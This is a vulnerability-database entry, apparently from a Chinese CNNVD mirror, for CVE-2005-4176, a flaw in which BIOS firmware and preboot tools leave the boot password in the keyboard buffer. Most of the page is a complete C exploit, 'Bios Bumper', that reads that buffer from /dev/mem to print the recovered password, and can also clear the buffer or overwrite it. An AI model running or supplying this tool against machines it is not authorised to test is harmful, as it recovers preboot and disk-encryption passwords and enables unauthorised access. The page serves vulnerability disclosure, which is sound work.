多个提供商 BIOS 键盘缓冲密码持久性漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109395 漏洞类型 设计错误
发布时间 2005-12-06 更新时间 2006-01-19
CVE编号 CVE-2005-4176 CNNVD-ID CNNVD-200512-214
漏洞平台 Unix CVSS评分 2.1
|漏洞来源
https://www.exploit-db.com/exploits/26753
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200512-214
|漏洞详情
在系统启动时,AWARDBiosModular4.50pg读取BIOS密码之后没有清除键盘缓冲,本地管理员或用户可以直接从物理内存中读取密码。
|漏洞EXP
source: http://www.securityfocus.com/bid/15751/info
 
Multiple vendors fail to clear the BIOS (Basic Input-Output System) keyboard buffer after reading the preboot authentication password during the system startup process.
 
Depending on the operating system running on affected computers, the memory region may or may not be available for user-level access. With Linux operating systems, superuser access is required. With Microsoft Windows operating systems, nonprivileged users may access the keyboard buffer region.
 
Attackers who obtain the password used for preboot authentication may then use it for further attacks.
 
UPDATE: Reportedly, the BIOS API calls and the BIOS keyboard buffer are used by various preboot authentication applications to read a password from the keyboard in an insecure manner. These applications are also vulnerable to this issue.
 
This issue is reported to affect the following software:
 
- Truecrypt 5.0 for Windows
- DiskCryptor 0.2.6 for Windows and prior
- Secu Star DriveCrypt Plus Pack v3.9 and prior
- Grub Legacy (GNU GRUB 0.97) and prior
- Lilo 22.6.1 and prior versions
- Award BIOS Modular 4.50pg
- Insyde BIOS V190
- Intel Corp BIOS PE94510M.86A.0050.2007.0710.1559 (07/10/2007)
- Hewlett-Packard BIOS 68DTT Ver. F.0D (11/22/2005)
- IBM Lenovo BIOS 7CETB5WW v2.05 (10/13/2006) 

#define BIOS_PWD_ADDR 0x041e

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/uio.h>

struct dumpbuff
{
char tab[32];
};

int dump_bios_pwd(void)
{
char tab[32];
char tab2[16];
int fd,a,i,j;

fd = open("/dev/mem", "r");

if(fd == -1)
{
printf("cannot open /dev/mem");
return 1;
}

a=lseek(fd,BIOS_PWD_ADDR,SEEK_SET);
a=read(fd, &tab, 32);
if(a<=0)
{
printf("cannot read /dev/mem");
return 1;
}

close(fd);

i=0;
for (j=0;j<16;j++)
{
tab2[i]=tab[2*j];
i++;
}

printf("\n\nPassword : ");
for (j=0;j<16;j++)
{
printf("%c",tab2[j]);

}

printf("\n");
return 0;

}

int clear_bios_pwd (void)
{

FILE *f;
struct dumpbuff b;
int i;
long j=1054;

for (i=0;i<32;i++)
{
b.tab[i]=' ';
}

f=fopen("/dev/mem","r+");
fseek(f,j,SEEK_SET);

fwrite (&b, sizeof(struct dumpbuff),1,f);
fclose(f);
printf("\n[Buffer Cleared]\n");
return 0;
}

int change_pwd()
{

FILE *f;
struct dumpbuff b;
int i;
long j=1054;
char pwd[18];
char crap;

//Ask Pwd...

printf("\n Enter new Pwd :\n(16 caratcters max)\n");

for (i=0;i<18;i++)
{
pwd[i]=' ';
}

scanf("%s%c",&pwd,&crap);

for (i=0;i<=15;i++)
{
b.tab[2*i]=pwd[i];
b.tab[2*i+1]=' ';
}

f=fopen("/dev/mem","r+");
fseek(f,j,SEEK_SET);

fwrite (&b, sizeof(struct dumpbuff),1,f);
printf("\n[Buffer Uptdated]\n");
fclose(f);

return 0;

}

int main(void)
{

char choiceval=0;
char crap;
char tab3[100];

printf(" _=�Bios Bumper�=_ \n\n\n");
printf(" (endrazine (at) pulltheplug (dot) org [email concealed]) \n");
printf(" by Endrazine\n");

while(choiceval !='x')
{
printf ("\n==============================\n");
printf("[Keyboard buffer manipulation]\n");
printf("==============================\n");
printf("\n 1 - Display Password\n");
printf(" 2 - Clear Keyboard Buffer\n");
printf(" 3 - Enter new Password\n");
printf("\n==============================\n");
printf("\n x - Quit\n");

scanf("%c%c",&choiceval,&crap);

if (choiceval=='1')
dump_bios_pwd();

if (choiceval=='2')
clear_bios_pwd();

if (choiceval=='3')
change_pwd();

}
return 0;
}
|参考资料

来源:US-CERTVulnerabilityNote
名称:VU#847537
链接:http://www.kb.cert.org/vuls/id/847537
来源:BID
名称:15751
链接:http://www.securityfocus.com/bid/15751
来源:BUGTRAQ
名称:20051213BiosInformationLeakage
链接:http://www.securityfocus.com/archive/1/archive/1/419610/100/0/threaded
来源:MISC
链接:http://www.pulltheplug.org/users/endrazine/Bios.Information.Leakage.txt
来源:MISC
链接:http://www.ivizsecurity.com/research/preboot/preboot_whitepaper.pdf
来源:MISC
链接:http://www.ivizsecurity.com/preboot-patch.html